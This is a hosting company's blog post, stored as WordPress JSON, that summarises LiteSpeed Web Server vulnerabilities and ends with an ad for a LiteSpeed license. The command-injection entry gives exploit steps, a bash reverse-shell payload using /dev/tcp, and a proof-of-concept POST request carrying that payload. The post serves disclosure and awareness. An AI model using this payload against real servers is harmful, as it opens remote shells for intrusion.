{"id":5629,"date":"2024-03-21T11:45:39","date_gmt":"2024-03-21T09:45:39","guid":{"rendered":"https:\/\/tremhost.com\/blog\/?p=5629"},"modified":"2025-04-10T09:33:38","modified_gmt":"2025-04-10T07:33:38","slug":"litespeed-web-server-exploit","status":"publish","type":"post","link":"https:\/\/tremhost.com\/blog\/litespeed-web-server-exploit\/","title":{"rendered":"LiteSpeed Web Server exploit"},"content":{"rendered":"<div class=\"content\" tabindex=\"0\" aria-description=\"\">\n<div class=\"ac-container ac-adaptiveCard\">\n<div class=\"ac-textBlock\">\n<p>Let\u2019s delve into the topic of <strong>LiteSpeed Web Server (LSWS) exploits<\/strong>. While LSWS is known for its performance and security features, like any software, it can have vulnerabilities. Here are some notable instances:<\/p>\n<ol>\n<li><strong>Command Injection (Authenticated)<\/strong>:\n<ul>\n<li><strong>Vulnerability<\/strong>: In LSWS Enterprise version 5.4.11, an authenticated attacker could exploit a command injection vulnerability.<\/li>\n<li><strong>Exploit Steps<\/strong>:\n<ol>\n<li>Log in to the dashboard using the Administrator account.<\/li>\n<li>Access Server Configuration &gt; Server &gt; External App &gt; Edit.<\/li>\n<li>Set \u201cStart By Server *\u201d Value to \u201cYes (Through CGI Daemon)\u201d.<\/li>\n<li>Inject the payload <code>fcgi-bin\/lsphp5\/..\/..\/..\/..\/..\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/127.0.0.1\/1234 0&gt;&amp;1'<\/code> into the \u201cCommand\u201d value.<\/li>\n<li>Perform a graceful restart.<\/li>\n<\/ol>\n<\/li>\n<li><strong>Proof of Concept (PoC)<\/strong>:\n<pre><code>POST \/config\/confMgr.php HTTP\/1.1\r\nHost: 192.168.1.6:7080\r\n...\r\npath=fcgi-bin%2Flsphp5%2F..%2F..%2F..%2F..%2F..%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.6%2F1234+0%3E%261%27\r\n...\r\n<\/code><\/pre>\n<\/li>\n<li><a class=\"tooltip-target\" href=\"https:\/\/www.exploit-db.com\/exploits\/49523\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-28-group\"><strong>References<\/strong>: <\/a><a class=\"ac-anchor sup-target\" href=\"https:\/\/www.exploit-db.com\/exploits\/49523\" target=\"_blank\" rel=\"noopener\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-26\" aria-label=\"1: References\"><sup class=\"citation-sup\">1<\/sup><\/a><a class=\"ac-anchor sup-target\" href=\"https:\/\/blog.litespeedtech.com\/2022\/11\/14\/cve-2022-0072-cve-2022-0073-and-cve-2022-0074\/\" target=\"_blank\" rel=\"noopener\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-28\" aria-label=\"2: References\"><sup class=\"citation-sup\">2<\/sup><\/a><\/li>\n<\/ul>\n<\/li>\n<li><strong>CVE-2022-0072, CVE-2022-0073, and CVE-2022-0074<\/strong>:\n<ul>\n<li><strong>Vulnerability<\/strong>: These vulnerabilities affect OpenLiteSpeed and LiteSpeed Enterprise WebAdmin Console.<\/li>\n<li><strong>Exploit Scenario<\/strong>: After achieving WebAdmin Authentication, an attacker could create a secret backdoor and exploit the vulnerability to access it.<\/li>\n<li><strong>Mitigation<\/strong>: Ensure timely updates and patches.<\/li>\n<li><a class=\"tooltip-target\" href=\"https:\/\/www.exploit-db.com\/exploits\/49523\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-42-group\"><strong>Reference<\/strong>: <\/a><a class=\"ac-anchor sup-target\" href=\"https:\/\/github.com\/advisories\/GHSA-f532-g5cf-vhjp\" target=\"_blank\" rel=\"noopener\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-42\" aria-label=\"3: Reference\"><sup class=\"citation-sup\">3<\/sup><\/a><\/li>\n<\/ul>\n<\/li>\n<li><strong>Directory Traversal Vulnerability<\/strong>:\n<ul>\n<li><strong>Vulnerability<\/strong>: In certain versions of LSWS, a directory traversal vulnerability exists in the OpenLiteSpeed Web Server Dashboard.<\/li>\n<li><strong>Impact<\/strong>: An attacker could exploit path traversal.<\/li>\n<li><strong>Affected Versions<\/strong>: Versions from 1.5.11 through 1.5.12, 1.6.5 through 1.6.20.1, and 1.7.0 before 1.7.16.1.<\/li>\n<li><a class=\"tooltip-target\" href=\"https:\/\/www.exploit-db.com\/exploits\/49523\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-56-group\"><strong>Reference<\/strong>: <\/a><a class=\"ac-anchor sup-target\" href=\"https:\/\/www.litespeedtech.com\/\" target=\"_blank\" rel=\"noopener\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-56\" aria-label=\"4: Reference\"><sup class=\"citation-sup\">4<\/sup><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>Remember that staying informed about security updates and promptly applying patches is crucial to safeguarding your web server. LSWS remains a powerful choice, but vigilance is essential to mitigate risks.<\/p>\n<\/div>\n<h1><a href=\"https:\/\/tremhost.com\/litespeed.html\">Get LiteSpeed License<\/a><\/h1>\n<p>click <a href=\"https:\/\/tremhost.com\/litespeed.html\">here<\/a> to get license<\/p>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Let\u2019s delve into the topic of LiteSpeed Web Server (LSWS) exploits. While LSWS is known for its performance and security features, like any software, it can have vulnerabilities. Here are some notable instances: Command Injection (Authenticated): Vulnerability: In LSWS Enterprise version 5.4.11, an authenticated attacker could exploit a command injection vulnerability. Exploit Steps: Log in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":5630,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[79],"tags":[],"class_list":["post-5629","post","type-post","status-publish","format-standard","has-post-thumbnail","category-tech"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"While LSWS is known for its performance and security features, like any software, it can have vulnerabilities.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Tremhost Experts\"\/>\n\t<meta name=\"google-site-verification\" content=\"googled2c4f9d88a3d9ef6\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/tremhost.com\/blog\/litespeed-web-server-exploit\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_GB\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Tremhost News\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"LiteSpeed Web Server exploit - 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